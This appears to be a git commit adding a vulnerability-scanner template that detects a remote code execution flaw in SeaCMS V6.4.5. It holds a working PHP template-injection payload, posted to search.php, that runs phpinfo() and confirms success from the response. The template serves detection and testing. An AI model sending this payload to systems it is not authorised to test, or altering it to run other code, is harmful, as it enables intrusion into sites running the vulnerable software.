Create seacms-rce.yaml

2021-02-18 20:05:35 +07:00 · 2021-02-18 20:05:35 +07:00 · 15bff234ef
parent 7b9be9cd46
commit 15bff234ef
1 changed files with 24 additions and 0 deletions
--- a/vulnerabilities/other/seacms-rce.yaml
+++ b/vulnerabilities/other/seacms-rce.yaml
@ -0,0 +1,24 @@
+id: seacms-rce
+info:
+  name: SeaCMS V6.4.5 RCE
+  author: pikpikcu
+  severity: high
+  reference: https://mengsec.com/2018/08/06/SeaCMS-v6-45前台代码执行漏洞分析/
+  tags: seacms,rce
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/search.php?searchtype=5'
+    body: "searchtype=5&order=}{end if} {if:1)phpinfo();if(1}{end if}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "phpinfo"
+          - "PHP Version"
+        part: body
+      - type: status
+        status:
+          - 200